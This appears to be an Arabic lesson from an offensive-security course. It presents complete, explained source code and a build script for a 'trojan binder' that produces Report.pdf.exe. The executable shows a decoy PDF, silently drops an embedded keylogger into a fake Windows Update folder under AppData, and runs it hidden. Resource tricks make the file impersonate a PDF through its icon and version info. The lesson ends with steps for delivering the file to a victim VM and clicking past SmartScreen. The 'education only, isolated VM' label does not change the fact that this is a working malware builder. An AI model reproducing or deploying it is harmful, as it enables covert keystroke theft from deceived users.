// binder.cpp — Trojan Binder Loader (تعليم فقط، للاستخدام داخل VM معزول)// يبنى بـ MinGW-w64 مع -mwindows -municode (لا console window)// (0) يجب أن يأتي قبل <windows.h> — يفتح استخدام دوال Vista+// مثل SHGetKnownFolderPath و FOLDERID_RoamingAppData.// 0x0601 = Windows 7 baseline (يشمل Vista+8+10+11)
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0601
#endif
#include <windows.h> // الترويسة الشاملة لـ Win32 API
#include <shlobj.h> // SHGetKnownFolderPath, SHCreateDirectoryExW, FOLDERID_*
#include <shlwapi.h> // اختياري هنا (لا نستخدم شيئا منها فعلا لكن نبقيها للاتساق)
#include <string> // std::wstring
#include <vector> // std::vector<wchar_t> — مخزن قابل للتعديل// ── (1) قراءة مسار مجلد معروف (%APPDATA%، %TEMP%…) كـ wide string ─────staticstd::wstringKnownFolder(REFKNOWNFOLDERID id) {
PWSTR raw = nullptr; // مؤشر نصي عريضif (SHGetKnownFolderPath(id, 0, NULL, &raw) != S_OK) returnL"";
std::wstring out = raw; // انسخ إلى wstringCoTaskMemFree(raw); // حرر بمخصص COMreturn out;
}
staticstd::wstringTempPath(conststd::wstring& name) {
wchar_t buf[MAX_PATH]; // 260 حرف عريض على stackGetTempPathW(MAX_PATH, buf); // %TEMP%\ ينتهي بـ backslashreturnstd::wstring(buf) + name;
}
staticstd::wstringAppDataSubPath(conststd::wstring& sub) {
std::wstring base = KnownFolder(FOLDERID_RoamingAppData); // C:\Users\X\AppData\Roamingif (base.empty()) returnL"";
std::wstring full = base + L"\\" + sub;
// أنشئ سلسلة المجلدات الأب (مثل mkdir -p) — بدونها CreateFileW يفشلSHCreateDirectoryExW(NULL, full.substr(0, full.find_last_of(L'\\')).c_str(), NULL);
return full;
}
// ── (2) استخراج مورد RCDATA من نفس EXE وكتابته إلى ملف ─────────────────// ملاحظة: نستخدم FindResourceW/GetModuleHandleW (وليس النسخ A)// لأن -DUNICODE يجعل ثابت RT_RCDATA من نوع LPCWSTR — يجب مطابقته.staticboolExtractResource(LPCWSTR resName, conststd::wstring& outPath) {
HRSRC hRes = FindResourceW(GetModuleHandleW(NULL), resName, RT_RCDATA);
if (!hRes) returnfalse; // المورد غير موجودHGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) returnfalse; // فشل التحميلvoid* pData = LockResource(hData); // مؤشر لأول بايتDWORD size = SizeofResource(NULL, hRes); // الحجم بالبايتif (!pData || size == 0) returnfalse;
HANDLE hFile = CreateFileW(outPath.c_str(), GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) returnfalse;
DWORD written = 0;
BOOL ok = WriteFile(hFile, pData, size, &written, NULL);
CloseHandle(hFile); // إلزامي — بدونه تسريب مقبضreturn ok && (written == size); // فحص مزدوج
}
// ── (3) تشغيل EXE خفية بلا نافذة ───────────────────────────────────────staticboolSpawnHidden(conststd::wstring& exePath) {
STARTUPINFOW si = { sizeof(si) }; // { cb = sizeof, باقي = 0 }
si.dwFlags = STARTF_USESHOWWINDOW; // اعتبر wShowWindow
si.wShowWindow = SW_HIDE; // أخفِ النافذةPROCESS_INFORMATION pi = {};
// CreateProcessW توثيقيا قد تعدّل lpCommandLine — نستعمل buffer قابل للكتابةstd::wstring cmd = L"\"" + exePath + L"\""; // اقتباس لدعم المسافاتstd::vector<wchar_t> mutableCmd(cmd.begin(), cmd.end());
mutableCmd.push_back(L'\0'); // نهاية سلسلة CBOOL ok = CreateProcessW(
NULL, // lpApplicationName — NULL = استخرج من cmd
mutableCmd.data(), // lpCommandLine — كامل مع اقتباسNULL, // lpProcessAttributes — سمات أمان افتراضيةNULL, // lpThreadAttributes — سمات thread افتراضيةFALSE, // bInheritHandles — لا نورث مقابضنا
CREATE_NO_WINDOW | DETACHED_PROCESS, // dwCreationFlags — بلا consoleNULL, // lpEnvironment — بيئة الأمNULL, // lpCurrentDirectory — cwd الأم
&si, &pi);
if (ok) {
CloseHandle(pi.hProcess); // أغلق المقبض — العملية تستمرCloseHandle(pi.hThread);
}
return ok;
}
// ── (4) نقطة الدخول (Unicode GUI) ───────────────────────────────────────int WINAPI wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) {
// (أ) استخرج decoy PDF إلى %TEMP% وافتحه للضحيةstd::wstring pdfPath = TempPath(L"Report.pdf");
if (ExtractResource(L"DECOY_PDF", pdfPath)) {
ShellExecuteW(NULL, L"open", pdfPath.c_str(),
NULL, NULL, SW_SHOWNORMAL); // Shell يختار قارئ PDF
}
// (ب) استخرج الـ Keylogger إلى مسار مخفي وشغّله بلا نافذةstd::wstring exePath = AppDataSubPath(L"Microsoft\\Windows\\Update\\wmupdate.exe");
if (!exePath.empty() && ExtractResource(L"PAYLOAD_EXE", exePath)) {
SpawnHidden(exePath);
}
// (ج) امنح ShellExecute وقتا للانتقال إلى Adobe/PDF viewerSleep(500);
return0;
}
✅ الكود مُختبَر عمليا: جمّعناه بـ mingw-w64 (GCC 10) داخل WSL Ubuntu بأصول تجريبية (dummy .ico, .pdf, .exe)، والنتيجة: Report.pdf.exe بحجم ~503KB يحتوي فعلا على %PDF magic bytes وعلى النص المميز من الـ payload المضمن، مع قسم .rsrc كامل الحجم ~294KB. راجع "سجل الأخطاء المكتشفة بالاختبار" في نهاية القسم.
🔍 مرجع تفصيلي: كل سطر في binder.cpp
#define _WIN32_WINNT 0x0601 (السطر الجديد)
ما هو: ماكرو معالج مسبق (preprocessor macro) يحدد الحد الأدنى لإصدار Windows الذي يدعمه الكود.
لماذا نحتاجه:SHGetKnownFolderPath و FOLDERID_RoamingAppData أُضيفت في Windows Vista (0x0600). بدون هذا التعريف، رؤوس MinGW تخفيها ويفشل التحويل البرمجي بـ undeclared identifier.
لماذا 0x0601: يمثل Windows 7، الحد الأدنى الآمن اليوم (Vista ميت). يشمل تلقائيا كل ما هو أحدث.
لو حذفناه: خطأ تجميع فوري.
#include <windows.h>
ما هو: ترويسة شاملة (umbrella header) تسحب مئات الترويسات الفرعية (winbase.h, winuser.h, fileapi.h, processthreadsapi.h…).
ما هو: ترويسة Windows Shell، واجهة Explorer والمجلدات المعروفة.
ما نستفيده منها هنا: — SHGetKnownFolderPath، تعطينا مسار مجلد معروف. — SHCreateDirectoryExW، تنشئ سلسلة مجلدات كاملة (mkdir -p). — KNOWNFOLDERID, FOLDERID_RoamingAppData، تعريفات المجلدات.
لو حذفناها:SHGetKnownFolderPath غير معرّفة → فشل ربط (link error).
#include <shlwapi.h>
ما هو: ترويسة Shell Lightweight API (PathCombineW, PathFileExistsW…).
هل نستخدمها فعلا؟ لا، الملف لا يستدعي أي شيء منها. المسارات نبنيها بجمع std::wstring مباشرة.
لماذا نبقيها: أثر تاريخي، غير مؤذية. يمكن حذفها بأمان.
لو حذفناها: لا شيء يتأثر.
#include <string> و #include <vector>
<string> يعطينا std::wstring، سلسلة من wchar_t (16-bit على Windows) لدعم أسماء Unicode مثل C:\Users\محمد\....
<vector> يعطينا std::vector<wchar_t>، مصفوفة قابلة للتعديل نحتاجها لـ CreateProcessW (التي قد تعدّل معاملها الثاني).
البادئة L"...": تجعل الحرفيّ wchar_t* بدل char*. بدونها لا يمكن تمريره لدوال W.
static على الدوال
ما تعنيه: تعطي الدالة internal linkage، الاسم مرئي فقط داخل هذا الملف.
الفوائد: منع تصادم الأسماء، والسماح للمُحسِّن بتضمينها (inline).
لو حذفناها: يعمل البرنامج، لكن أسماء الدوال تصبح قابلة للربط من ملفات أخرى.
الأنواع الشائعة (HANDLE, DWORD, BOOL, PWSTR…)
النوع
أصله
لماذا
HANDLE
void* مبهم
مقبض عام لأي kernel object (ملف، عملية، thread)
HRSRC
مقبض
معلومات وصفية لمورد داخل PE
HGLOBAL
مقبض
كتلة ذاكرة (اسم تاريخي من Win16)
HINSTANCE
مقبض
مرجع لصورة EXE/DLL في الذاكرة
DWORD
unsigned int 32-bit
كل الأعداد غير الموقّعة في Win32
BOOL
int (وليس bool!)
قيمة بولية Win32: قد تكون أي int
PWSTR
wchar_t*
نص عريض قابل للتعديل (Pointer + Wide + STRing)
LPCWSTR
const wchar_t*
نص عريض للقراءة فقط (Long Pointer + Const + Wide + STR)
REFKNOWNFOLDERID
const KNOWNFOLDERID&
مرجع لـ GUID مجلد معروف
HRESULT
int32 مقسوم
قيمة إرجاع لـ COM/Shell: S_OK = 0 = نجاح
دالة KnownFolder
SHGetKnownFolderPath(id, 0, NULL, &raw): تسأل Windows Shell عن مسار المجلد، تخصص المخزن، وتعيد مؤشره في raw.
S_OK: ثابت HRESULT قيمته 0 = نجاح. أي شيء آخر = فشل.
CoTaskMemFree(raw): ضروري لتحرير الذاكرة من COM task allocator. لا تستخدم delete أو free، المخصصات مختلفة والخلط يسبب heap corruption.
لو حذفنا CoTaskMemFree: تسريب ذاكرة في كل استدعاء.
لو حذفنا الفحص != S_OK: قد نقرأ raw = nullptr = access violation.
دالة TempPath
لماذا لاحقة W في GetTempPathW: كل دالة Win32 تتعامل مع نص لها نسختان، A (ANSI) و W (Wide). النسخة W هي الأصلية داخل الـkernel الحديث، والنسخة A غلاف يحوّل. نستعمل W دائما مع std::wstring.
MAX_PATH: ثابت = 260. حد Windows التاريخي لطول المسار.
دالة AppDataSubPath
FOLDERID_RoamingAppData: ثابت GUID يمثل مجلد %APPDATA% = C:\Users\<user>\AppData\Roaming\. "Roaming" لأن هذه الملفات تنتقل مع الحساب في بيئات المؤسسات (Active Directory).
SHCreateDirectoryExW: ينشئ سلسلة المجلدات كاملة. بدون هذا: CreateFileW يفشل بـ ERROR_PATH_NOT_FOUND عندما نحاول الكتابة في مجلد غير موجود.
دالة ExtractResource: خط استخراج المورد
المرحلة | الدالة | ماذا تفعل --------|--------|---------- 1 | GetModuleHandleW(NULL) | تعيد مقبض EXE نفسه. NULL = "أعطني مقبض من أعمل بداخله" 2 | FindResourceW(mod, name, RT_RCDATA) | تبحث في جدول موارد EXE عن مورد بذلك الاسم من نوع RT_RCDATA 3 | LoadResource(NULL, hRes) | تحمّل المورد في الذاكرة (فعليا يظل معينا في صورة EXE) 4 | LockResource(hData) | تعيد مؤشر خام (void*) لأول بايت 5 | SizeofResource(NULL, hRes) | الحجم بالبايت
RT_RCDATA: ثابت نوع المورد "Raw Data"، بيانات ثنائية عامة (عكس RT_ICON أو RT_STRING الذين لهم بنية محددة).
لا نحرر أي شيء: الموارد مُعيّنة داخل صورة EXE، لا تحتاج free.
ملاحظة تقنية مهمة: استعملنا FindResourceW (وليس A) لأن -DUNICODE يجعل ثابت RT_RCDATA من نوع LPCWSTR. لو استعملنا FindResourceA كما في نسخة سابقة نحصل على خطأ cannot convert LPWSTR to LPCSTR، راجع سجل الأخطاء.
كتابة الملف
CreateFileW، كل عَلَم: — GENERIC_WRITE، نية الكتابة فقط — 0، عدم مشاركة (share mode = none) — NULL، سمات أمان افتراضية — CREATE_ALWAYS، أنشئ أو استبدل. البدائل: CREATE_NEW, OPEN_EXISTING, OPEN_ALWAYS — FILE_ATTRIBUTE_NORMAL، بلا خصائص خاصة — NULL، لا template
INVALID_HANDLE_VALUE: ثابت خاص (HANDLE)-1 تعيده CreateFileW عند الفشل. مهم: ليس NULL! هذا اختلاف تاريخي.
WriteFile: يكتب size بايت. المعامل الرابع يستقبل عدد البايتات المكتوبة فعلا.
لماذا نفحص ok && (written == size):WriteFile قد تعيد TRUE لكنها كتبت أقل (قرص ممتلئ مثلا). الفحص المزدوج يضمن سلامة النسخ.
CloseHandle: إلزامي، بدون إغلاق يبقى الملف مقفولا للنظام حتى انتهاء العملية.
دالة SpawnHidden: تشغيل بلا نافذة
البنى:
STARTUPINFOW: بنية تصف كيف تبدأ العملية الجديدة. — { sizeof(si) } يهيّئ cb (حجم البنية) وباقي الأعضاء إلى صفر. Windows يستخدم cb لمعرفة إصدار البنية. — STARTF_USESHOWWINDOW = اعتبر قيمة wShowWindow صحيحة. — SW_HIDE = أخفِ نافذة العملية.
PROCESS_INFORMATION: بنية يملؤها CreateProcessW بمقابض العملية والـthread الجديدة.
لماذا mutableCmd:CreateProcessW توثيقيا قد تعدّل المعامل الثاني (lpCommandLine). تمرير cmd.c_str() (وهو const wchar_t*) قد يسبب undefined behavior. الحل: ننسخ إلى std::vector<wchar_t> قابل للكتابة.
المعاملات العشرة لـ CreateProcessW:
#
المعامل
قيمتنا
الشرح
1
lpApplicationName
NULL
استخرج المسار من lpCommandLine
2
lpCommandLine
mutableCmd.data()
سطر الأمر الكامل بين اقتباس
3
lpProcessAttributes
NULL
سمات أمان افتراضية للعملية
4
lpThreadAttributes
NULL
سمات أمان افتراضية للـthread
5
bInheritHandles
FALSE
لا نورّث مقابضنا للطفل
6
dwCreationFlags
`CREATE_NO_WINDOW \
DETACHED_PROCESS`
بلا console، منفصل
7
lpEnvironment
NULL
استخدم بيئة الأم
8
lpCurrentDirectory
NULL
استخدم cwd الأم
9
lpStartupInfo
&si
مؤشر إلى STARTUPINFOW
10
lpProcessInformation
&pi
يستقبل مقابض ومعرفات العملية الجديدة
لماذا NULL أولا + الأمر الكامل ثانيا: يجعل Windows يفسر سطر الأمر كأن المستخدم كتبه في cmd.exe، يحترم الاقتباس والفراغات.
لماذا CloseHandle(pi.hProcess) رغم أن الطفل يستمر:CloseHandle يغلق المقبض فقط (مرجع في جدولنا)، لا العملية نفسها. طالما تعيش عملية الطفل، kernel يبقيها بمرجع داخلي.
WINAPI: ماكرو = __stdcall، اصطلاح استدعاء Win32. يحدد أن المُستدعَى (وليس المُستدعِي) ينظف الـstack. إلزامي لأي دالة يستدعيها Windows loader.
لو حذفنا WINAPI: يختل stack عندما يستدعي Windows دالتنا → crash فوري.
المعاملات الأربعة (نتجاهلها): — HINSTANCE hInstance، مقبض EXE نفسه — HINSTANCE hPrevInstance، دائما NULL منذ Win32 — PWSTR pCmdLine، سطر الأوامر بلا اسم البرنامج — int nCmdShow، الحالة المقترحة للنافذة
ShellExecuteW vs CreateProcess
CreateProcess: تشغيل EXE مباشرة بمسار محدد. أنت تحدد الأمر.
ShellExecuteW: تسأل Shell "افتح هذا الملف كما لو نقر عليه المستخدم مرتين". يبحث في HKCR عن الفعل (open, edit, print) ويشغّل البرنامج المناسب.
الفعل "open": يفتح الملف بالبرنامج الافتراضي. لأن الامتداد .pdf، يفتحه قارئ PDF المسجّل.
/* تعليق متعدد الأسطر */، يمتد عبر عدة أسطر. لا يمكن تداخله (nesting غير مسموح).
1 ICON "pdf.ico": مورد الأيقونة
الجزء
المعنى
1
معرّف رقمي للمورد (Resource ID)
ICON
نوع مورد معرّف مسبقا في Windows
"pdf.ico"
مسار الملف (نسبي لموقع binder.rc)
لماذا يجب أن يكون الـ ID بالضبط 1:Windows Explorer عندما يريد عرض أيقونة لملف .exeيبحث عن المورد ذي أقل ID رقمي من نوع ICON. لو استعملنا 2 ICON، تبقى الأيقونة مضمنة داخل الملف لكن Explorer لن يعرضها، سيظهر أيقونة .exe الافتراضية (النافذة الرمادية). خدعة انتحال PDF تعتمد كليا على هذا.
ماذا يكسر لو غيّرنا:
حذف الرقم 1 → خطأ نحوي (المترجم يحتاج ID).
تغيير ICON إلى BITMAP → يعامل كصورة عادية، لا يظهر كأيقونة.
مسار خاطئ لـ pdf.ico → windres يفشل بـ cannot open file.
RCDATA: نوع مورد يسمح بتضمين أي ملف ثنائي كما هو، بايت-بايت، داخل الـ .exe.
لماذا نستخدمه: Windows لا يعرف نوعا مسبقا اسمه "PDF" أو "EXE مضمّن". نخزن البايتات الخام ونستخرجها لاحقا عبر FindResource/LoadResource.
أسماء نصية vs معرّفات رقمية: استخدمنا DECOY_PDF و PAYLOAD_EXE كأسماء (strings) بدلا من أرقام.
الجانب
استخدام رقم (ID)
استخدام اسم (Name)
المثال
1 ICON "..."
DECOY_PDF RCDATA "..."
الاستدعاء من C++
MAKEINTRESOURCE(1)
L"DECOY_PDF"
الحجم
أصغر قليلا
أكبر قليلا (يخزن السلسلة)
القراءة
يحتاج تعليق لفهمه
ذاتي التوثيق
لماذا الأحرف الكبيرة (uppercase): اصطلاح قديم في Windows، أسماء الموارد بالكبيرة تمييزا لها عن المتغيرات. Windows يقارن case-insensitive لكن الاتفاق يسهل القراءة.
تحذير: اسم المورد في .rcيجب أن يطابق ما تستخدمه في C++. لو كتبت DECOY_PDF هنا و L"decoy-pdf" في C++، FindResourceW يعيد NULL.
1 VERSIONINFO: معلومات الإصدار
هذه أهم كتلة لخداع المستخدم، تملأ خصائص الملف في Properties → Details وعمود Publisher في Task Manager.
صيغة FILEVERSION و PRODUCTVERSION:
rc
FILEVERSION1,0,0,0PRODUCTVERSION1,0,0,0
1 الأول (قبل VERSIONINFO): ID للمورد. تقليديا VS_VERSION_INFO = 1. يجب أن يكون 1 لكي تجده دوال Windows.
يجب أن تتطابق:0x0409, 0x04b0 هنا مع"040904b0" أعلاه. لو لم تتطابق، VerQueryValue يبحث عن كتلة خاطئة ولا يجدها = حقول فارغة.
الحقول الرئيسية وأين تظهر:
المفتاح
أين يظهر في Windows
CompanyName
Details → Copyright (جزئيا) + عمود Publisher في Task Manager
FileDescription
tooltip الفأرة فوق الملف + عمود Description في Task Manager
FileVersion
Details → File version
InternalName
Details → Internal name (نادرا يُنظر إليه)
LegalCopyright
Details → Copyright
OriginalFilename
Details → Original filename: حرج للخداع
ProductName
Details → Product name + Task Manager أحيانا
ProductVersion
Details → Product version
لماذا OriginalFilename = "Report.pdf": بعض أدوات الأمن (وSmartScreen أحيانا) تقارن الاسم الحالي بـ OriginalFilename. مع Report.pdf هنا، تبويب Details يعرض "Report.pdf" ويعزز الانطباع بأنه مستند PDF حقيقي.
محلل نحوي: يفهم ICON, RCDATA, VERSIONINFO، ويبني شجرة موارد بنوع ← اسم ← لغة.
قراءة الملفات الخارجية: عند 1 ICON "pdf.ico" يفتح الملف ويقرأ محتواه ثنائيا. نفس الشيء لـ decoy.pdf و payload.exe.
تشفير ثنائي: يحوّل VERSIONINFO إلى بنية VS_VERSIONINFO الثنائية، النصوص إلى UTF-16LE، يضع كل شيء في قسم .rsrc بصيغة قابلة للربط.
إخراج: ملف .o (COFF) قابل للربط مع الـlinker.
الفرق عن rc.exe من Microsoft:rc.exe يُخرج .res وسيط، ثم cvtres يحوّله لـ .obj. windres يفعل الخطوتين في أمر واحد ويُخرج .o مباشرة. النتيجة النهائية داخل الـ .exe متطابقة.
#!/usr/bin/env bash# build.sh — يبني Report.pdf.exe من binder.cpp + binder.rc + الأصولset-euo pipefail
# 1. تحقق من وجود الأصول قبل البدء (fail-fast)for f in binder.cpp binder.rc pdf.ico decoy.pdf payload.exe; do
[[ -f"$f" ]] || { echo"MISSING: $f" >&2; exit 1; }
done# 2. windres يترجم .rc إلى object file (COFF format للربط مع PE)
x86_64-w64-mingw32-windres-O coff -i binder.rc -o binder-res.o
# 3. g++ يجمّع ويربط كل شيء# -municode ضروري لأننا نستخدم wWinMain (نقطة دخول Unicode)# بدونها MinGW سيبحث عن WinMain (ANSI) والربط سيفشل# -luuid ضروري لأننا نستخدم FOLDERID_RoamingAppData (GUID ثابت من libuuid)
x86_64-w64-mingw32-g++ \
-std=c++17-O2-s \
-mwindows-municode \
-DUNICODE-D_UNICODE \
-static-libgcc-static-libstdc++ \
-o Report.pdf.exe \
binder.cpp binder-res.o \
-lshell32-lshlwapi-lole32-luuid# (لا نحتاج خطوة strip منفصلة — -s أثناء الربط كافية.# بعض إصدارات mingw-w64 تفشل بـ strip --strip-all على ملف مضغوط بالفعل بـ -s)echo"OK: built Report.pdf.exe ($(du -h Report.pdf.exe | cut -f1))"
🔍 مرجع تفصيلي: كل سطر في build.sh
#!/usr/bin/env bash: الـ Shebang
ما هو: أول سطرين حرفين #! يخبران النواة أي مفسّر يشغّل بقية الملف.
لماذا /usr/bin/env bash وليس /bin/bash:env موجود في نفس المسار على معظم أنظمة Unix، أما bash نفسه فقد يكون في /bin/bash (Linux) أو /usr/local/bin/bash (macOS Intel) أو /opt/homebrew/bin/bash (Apple Silicon). env يبحث في $PATH = قابلية النقل.
set -euo pipefail: أعلام السلامة
أربعة أوضاع تجعل السكربت "يفشل بسرعة" (fail-fast):
-e (errexit): يوقف السكربت فورا إذا فشل أي أمر (exit status ≠ 0). بدونه: أمر فاشل يُتجاهل والسكربت يكمل بمخرج ملوّث.
-u (nounset): يوقف عند استخدام متغير غير معرّف. يمنع كوارث مثل rm -rf "$PREFIX/" عندما $PREFIX فارغ = rm -rf /.
-o pipefail: بدونه، A | B | C يعطي exit status لـ C فقط. معه، أي فشل في وسط الـ pipe يظهر. ضروري مع -e لأن -e وحده لا يلتقط فشل الأوامر داخل الـ pipe.
حلقة التحقق for + [[ ]]
bash
for f in binder.cpp binder.rc pdf.ico decoy.pdf payload.exe; do
[[ -f"$f" ]] || { echo"MISSING: $f" >&2; exit 1; }
done
[[ ]] vs [ ]:[ ] أمر خارجي بصياغة POSIX. [[ ]]keyword في Bash، يُحلّل نحويا قبل التنفيذ، فيمنحك: لا حاجة لتنصيص المتغيرات، دعم =~ (regex)، عوامل منطقية داخلية.
-f: صحيح إذا المسار موجود وملف عادي (regular file). (-d للمجلدات، -e لأي كيان).
A || B: نفّذ Bفقط إذا فشل A، نمط guard.
{ ... } vs ( ... ):{ } grouping في نفس الـ shell (يشترط ; أو سطر جديد قبل }). ( ) يفتح subshell. نستخدم { } لأننا نريد exit 1 يوقف السكربت الأصلي.
>&2: يوجّه الإخراج إلى stderr بدل stdout (رسائل الخطأ يجب أن تكون في stderr).
x86_64-w64-mingw32-windres: مترجم الموارد
الـ Target Triple x86_64-w64-mingw32: صيغة تسمية GNU. الشكل العام arch-vendor-os/abi:
x86_64: المعمارية (64-bit Intel/AMD). البديل: i686 لـ 32-bit.
w64: البائع، إشارة لمشروع mingw-w64 (الفرع الحديث بدعم 64-bit).
mingw32: نظام التشغيل/ABI، MinGW (Minimalist GNU for Windows). يُنتج ثنائيات Windows PE أصلية بدون Cygwin runtime. اسم mingw32 بقي تاريخيا حتى في نسخة 64-bit.
-O coff: تنسيق الإخراج.
coff = Common Object File Format، ما يتوقعه linker على Windows (PE مبني تاريخيا فوق COFF).
البديل res = تنسيق .res وسيط. البديل rc = إعادة كتابة نصية.
لماذا coff وليس elf: ELF هو تنسيق Linux/Unix. PE هو تنسيق Windows.
-i و -o: input file و output file.
x86_64-w64-mingw32-g++: الـ Cross-Compiler
نفس target triple لكن للأداة g++. cross-compiler = يعمل على المضيف (Linux/WSL) ويُنتج ثنائيات لـ Windows. يستدعي داخليا: preprocessor → cc1plus → as (assembler) → ld (linker).
قوي بدون زيادة حجم مضرة بالـ cache. الافتراضي للإنتاج
ما نستخدمه
-O3
O2 + تحسينات عدوانية (vectorization). أحيانا أسرع، أحيانا أبطأ
بعد قياس
-Os
تحسين للـ حجم
Embedded
-Ofast
O3 + كسر IEEE للأرقام العشرية
حسابات علمية
-s: إزالة الرموز أثناء الربط
يمرَّر إلى linker ويحذف symbol table و relocation info.
يقلل الحجم بشكل ملحوظ ويصعّب reverse engineering (قليلا).
لهذا حذفنا strip --strip-all المنفصل، -s هنا كافٍ، وبعض إصدارات mingw-w64 تفشل بـ strip: Invalid argument على ملف مضغوط بالفعل.
-mwindows: نظام النوافذ الفرعي
PE Subsystem: حقل في رأس PE يخبر Windows loader بأي واجهة يشغّل البرنامج. — CONSOLE (افتراضي): ينشئ نافذة console سوداء تلقائيا. — WINDOWS: بلا console، تطبيق GUI صرف. ما نريده.
لماذا -luuid جديد: الـ GUIDs مثل FOLDERID_RoamingAppData تُصرَّح في الرؤوس (extern const KNOWNFOLDERID ...) لكن البيانات الفعلية للـ GUID تعيش في libuuid.a. بدون -luuid يفشل الربط بـ undefined reference to FOLDERID_RoamingAppData.
هل الترتيب الأبجدي مهم؟ لا. لكن ترتيب الظهور على سطر الأوامر يهم:
GNU ld يمشي من اليسار لليمين. كل مكتبة تحل رموزا غير محلولة سابقا فقط.
القاعدة الذهبية: object files أولا، ثم libraries.
المكتبات المعتمِدة قبل المعتمَد عليها. مثلا لو main.o يستدعي ShellExecute من shell32، ولو shell32 تحتاج شيئا من ole32، فالترتيب: main.o -lshell32 -lole32.
du -h Report.pdf.exe | cut -f1
$( ... ): command substitution، ينفذ الأمر ويستبدل قيمته.
du: disk usage. -h = human-readable (1.2M بدل 1234567).
|: pipe، يوصل stdout للأمر الأول إلى stdin للثاني.
cut -f1: الحقل الأول (الفاصل الافتراضي = tab). du -h يفصل بتاب، فنحصل على الحجم فقط.
ملخص أمني للأعلام مجتمعة
قابلية النقل:-static-libgcc -static-libstdc++ + shebang عبر env = يعمل على أي Windows 7+.
احتراف بصري:-mwindows = لا console.
دعم النصوص الدولية:-municode -DUNICODE -D_UNICODE = wide strings صحيحة.
صغر الحجم:-O2 -s = ملف نظيف صغير.
أمان السكربت:set -euo pipefail + التحقق من الأصول = فشل مبكر واضح.
🧪 معمل: أوامر البناء الفعلية (على الـ Attacker WSL Ubuntu)
bash
# 1. جهّز مجلد البناء وانسخ الأصولmkdir-p ~/lab/build-B && cd ~/lab/build-Bcp ~/lab/payloads/keylogger_edu.exe payload.exe # من المحاضرة 1cp ~/lab/payloads/any-real-report.pdf decoy.pdf # أي PDF شرعيcp ~/lab/payloads/pdf.ico pdf.ico # أيقونة PDF متعددة الأحجام# 2. انسخ ملفات الكود من مجلد المحاضرة (أو الصق من هذا المستند):# binder.cpp, binder.rc, build.sh# 3. اجعل build.sh قابل للتنفيذchmod +x build.sh
# 4. نفّذ البناء
./build.sh
# → Built Report.pdf.exe (~200 KB)
تحقق سريع بعد البناء
bash
ls-lh Report.pdf.exe
# → يجب أن يكون ~200 KB (يتفاوت حسب حجم decoy.pdf و payload.exe)
file Report.pdf.exe
# → PE32+ executable (GUI) x86-64, for MS Windows# تحقق أن الـ PDF فعلا مدمج داخل الـ EXE:grep-a"%PDF" Report.pdf.exe
# → يجب أن تجد "%PDF-1.4" (أو الإصدار الذي يحمله ملفك)# تحقق أن الـ payload EXE مدمج (ابحث عن سلسلة مميزة داخله):
strings Report.pdf.exe | grep-i"payload"# راجع أقسام PE بالتفصيل:
x86_64-w64-mingw32-objdump-h Report.pdf.exe | grep-E'\.text|\.rsrc|\.data'# → يجب أن ترى قسم .rsrc موجود بحجم كبير (يحتوي كل مواردنا)
🐛 سجل الأخطاء المكتشفة بالاختبار: قصة تعليمية
هذا الكود لم يكتب من فراغ ثم يعمل، اكتشفنا ثلاثة أخطاء بالتجميع الفعلي داخل WSL Ubuntu. اذكر هذه الأخطاء لأنها شائعة عند مبتدئي MinGW-w64:
الخطأ 1: SHGetKnownFolderPath was not declared
الرسالة الكاملة:
text
binder.cpp:13:9: error: 'SHGetKnownFolderPath' was not declared in this scope;
did you mean 'SHGetFolderPath'?
السبب: رؤوس MinGW تخفي الدوال الحديثة (Vista+) خلف الماكرو _WIN32_WINNT. القيمة الافتراضية غالبا 0x0502 (Windows XP SP2) وهذه الدالة أُضيفت في 0x0600 (Vista).
درس: عند بناء بـ -DUNICODE، التزم بـ W variants في كل مكان، لا تخلط A و W.
الخطأ 3: undefined reference to FOLDERID_RoamingAppData
الرسالة الكاملة:
text
/usr/bin/x86_64-w64-mingw32-ld: undefined reference to 'FOLDERID_RoamingAppData'
collect2: error: ld returned 1 exit status
السبب: ثوابت KNOWNFOLDERID مُصرَّحة في الرؤوس، لكن بيانات GUID الفعلية تعيش في مكتبة منفصلة libuuid.a.
الإصلاح: أضف -luuid إلى سطر الربط:
bash
x86_64-w64-mingw32-g++ ... binder.cpp binder-res.o \
-lshell32-lshlwapi-lole32-luuid# ^^^^^^ ← جديد
درس: GUIDs في Windows تحتاج ربط خاص. أي FOLDERID_*, IID_*, CLSID_* يستدعي -luuid.
مشكلة رابعة: strip: Invalid argument
بعض إصدارات mingw-w64 تفشل بـ strip --strip-all على ملف مضغوط بالفعل بـ -s أثناء الربط. الحل: حذفنا خطوة strip المنفصلة، العَلَم -s كافٍ.
الخلاصة العملية
كل هذه الأخطاء مسكوت عنها في التوثيق العام لأن غالبية الأمثلة تفترض إصدارات محددة من التوليفة. الطالب الذي يستنسخ كودا من الإنترنت يواجهها كثيرا. الحل الدائم: جرّب البناء فورا بعد أول محاولة، لا تنتظر حتى تكتب كل الكود.
🛠️ إن لم تكن pdf.ico عندك: ابنها من PNG
bash
# جهّز 4 صور PNG بأحجام مختلفة (16, 32, 48, 256)# ثم:
convert pdf-16.png pdf-32.png pdf-48.png pdf-256.png pdf.ico
# أو حمّل واحدة جاهزة من icons8.com / iconarchive.com
✅ اختبر نفسك: القسم 8
ما دور windres في عملية البناء؟ ولماذا لا يكفي g++ وحده؟
لماذا نحتاج العَلَم -municode تحديداً؟ ما الذي يفشل بدونه ولماذا؟
ما الفرق بين ملف binder.cpp وملف binder.rc، أيّهما يصف السلوك وأيّهما يصف المحتوى؟
لماذا يبدأ build.sh بالتحقق من وجود الأصول قبل أي خطوة أخرى (مبدأ fail-fast)؟
العَلَم -s أثناء الربط، ماذا يزيل، وما فائدته للمهاجم؟
4/5 = تابع. أقل = راجع التعليقات داخل build.sh سطراً سطراً.
القسم 9القسم 9: الاختبار على Windows 11 Victim VM
خطوات النقل والتنفيذ
powershell
# 1. من المهاجم (WSL) — انسخ الملف إلى SMB share:# (تأكد أن SMB share مضبوط من المحاضرة الأم)
smbclient -N //10.10.10.20/share -c 'put Report.pdf.exe'# 2. على VM الضحية — افتح المجلد في Explorer:# \\10.10.10.10\share\# 3. تحقق أن "Hide extensions" مفعل:# Explorer → View → Show → File name extensions = OFF (مخفية)# 4. سترى Report.pdf بأيقونة PDF# 5. انقر مرتين# → SmartScreen: "Windows protected your PC"# → اضغط "More info" → "Run anyway"
